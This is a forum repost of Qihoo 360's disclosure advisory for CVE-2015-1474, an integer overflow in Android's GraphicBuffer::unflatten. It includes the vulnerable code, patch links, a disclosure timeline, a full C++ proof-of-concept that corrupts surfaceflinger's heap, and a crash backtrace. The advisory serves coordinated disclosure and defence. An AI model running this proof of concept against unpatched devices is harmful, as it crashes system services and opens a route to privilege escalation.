Aerosol Posted March 12, 2015 Report Posted March 12, 2015 ############################################################################### QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/################################################################################ CVE ID: CVE-2015-1474# Product: Android# Vendor: Google# Subject: Integer overflow leading to heap corruption while unflatteningGraphicBuffer# Effect: Gain privileges or cause a denial of service# Author: Guang Gong# Date: March 11th 2015##############################################################################Introduction------------Multiple integer overflows in the GraphicBuffer::unflatten function inplatform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0allow attackers to gain privileges or cause a denial of service (memorycorruption) via vectors that trigger a large number of (1) file descriptorsor (2) integer values.Affected Android version----------all versions below Lollipop 5.1Patches-------Android Bug id 18076253There are two patches for this vulnerabilities, the first patch for thisissue is uncomplete.[1]https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2[2]https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43Description-----------The vulnerable code is as follows.28<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28>native_handle_t<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>*native_handle_create<http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system>(int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>,int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>)29<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29>{30<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30> native_handle_t<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h =malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>(31<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31> sizeof(native_handle_t<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) +sizeof(int)*(numFds<http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>));---------------> integer overflow here, numFds and numInts can becontrolled by normal Apps.32<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32>33<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33> h->version<http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof(native_handle_t<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>);34<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34> h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>= numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>;35<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35> h->numInts<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>= numInts<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>;36<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36> return h;37<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37>}244<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244>status_t<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks>GraphicBuffer<http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>::unflatten<http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>(245<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245> void const*& buffer<http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t<http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size<http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const*& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>,size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>&count<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>){…271<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271> native_handle<http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>*h = native_handle_create<http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks>(numFds<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>, numInts<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>);272<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272> memcpy<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, fds<http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>*sizeof(int)); ---------------->heap corruption hear.273<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273> memcpy<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>,&buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8],numInts<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>*sizeof(int));….Attack vector-------------A normal Apps can corrupt the heap in surfaceflinger and system_server bythis vulnerabilities.the PoC of corrupting the heap of surfaceflinger is as follows#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <utils/Log.h>#include <binder/IPCThreadState.h>#include <binder/ProcessState.h>#include <binder/IServiceManager.h>#include <gui/ISurfaceComposer.h>#include <gui/BufferQueue.h>#include <gui/CpuConsumer.h>#include <unistd.h>using namespace android;class MyBufferQueue:public BufferQueue{ public: status_t onTransact(uint32_t code, const Parcel& data, Parcel*reply, uint32_t flags){ status_t ret =BnGraphicBufferProducer::onTransact(code,data,reply,flags); if(code==1){ int *data = (int *)reply->data(); int *numFDs = data+9; *numFDs=0xfffffffd; } return ret; }};int main(){ sp<ProcessState> proc(ProcessState::self()); proc->startThreadPool(); const String16 name("SurfaceFlinger"); sp<ISurfaceComposer> composer; getService(name, &composer); uint32_t w, h; PixelFormat f; sp<IBinder>display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain)); sp<MyBufferQueue> bufferQueue = new MyBufferQueue(); sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1); status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL); if (err != NO_ERROR) { fprintf(stderr, "screen capture failed: %s\n", strerror(-err)); exit(0); } printf("screen capture success\n"); IPCThreadState::self()->joinThreadPool(); return 0;}How to corrupt the heap of system_serverput a malformated GraphicBuffer in a Bundle, and then send it tosystem_server via setApplicationRestrictions. it’s the same way asCVE-2014-7911.The backtrace of crash surfaceflinger55 --------- beginning of crash 56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr0xb1000000 in tid 15504 (surfaceflinger) 57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** ****** *** *** 58 I/DEBUG ( 180): Build fingerprint:'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' 59 I/DEBUG ( 180): Revision: '11' 60 I/DEBUG ( 180): ABI: 'arm' 61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>>/system/bin/surfaceflinger <<< 62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), faultaddr 0xb1000000 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504 64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r300000004 65 E/DEBUG ( 180): AM write failure (32 / Broken pipe) 66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r700000050 67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fpb081f070 68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pcb6eb2e30 cpsr a00f0030 69 I/DEBUG ( 180): 70 I/DEBUG ( 180): backtrace: 71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so(__memcpy_base+91) ------------------------->memcpy cause heap corruption 72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so(android::GraphicBuffer::unflatten(void const*&, unsigned int&, intconst*&, unsigned int&)+98) 73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so 74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so(android::Parcel::read(android::Parcel::FlattenableHelperInterface&)const+176) 75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so 76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so(android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226) 77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so(android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*,ANativeWindowBuffer**)+32) 78 I/DEBUG ( 180): #07 pc 000175cf /system/lib/libsurfaceflinger.so 79 I/DEBUG ( 180): #08 pc 0001b80f /system/lib/libsurfaceflinger.so 80 I/DEBUG ( 180): #09 pc 000158f5 /system/lib/libsurfaceflinger.so 81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so(android::Looper::pollInner(int)+410) 82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so(android::Looper::pollOnce(int, int*, int*, void**)+92) 83 I/DEBUG ( 180): #12 pc 00015ad1 /system/lib/libsurfaceflinger.so 84 I/DEBUG ( 180): #13 pc 0001675d /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8) 85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger 86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so(__libc_init+44) 87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger 88 I/DEBUG ( 180): 89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox(SYSTEM_TOMBSTONE) 91 I/ServiceManager( 176): service 'SurfaceFlinger' died 92 I/ServiceManager( 176): service 'display.qservice' diedMilestones----------DateCommentSender20/10/2014Initial Report of CVE-2015-1474Qihoo 36022/10/2014Forwarded to the dedicated Team by GoogleGoogle04/11/2014Classified it as a high severity vulnerabilityGoogle06/11/2014Get the Android Bug ID 18076253Google10/2/2015Notify it’s fixed and send the CVE-IDGoogle16/2/2015Tell Google the first patch was uncompleteQihoo 36018/2/2015Submitted the second patchGoogle11/3/2015Lollipop 5.1 was released, disclose itQihoo 360References----------[1]https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2[2]https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43[3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474[4]http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28Source Quote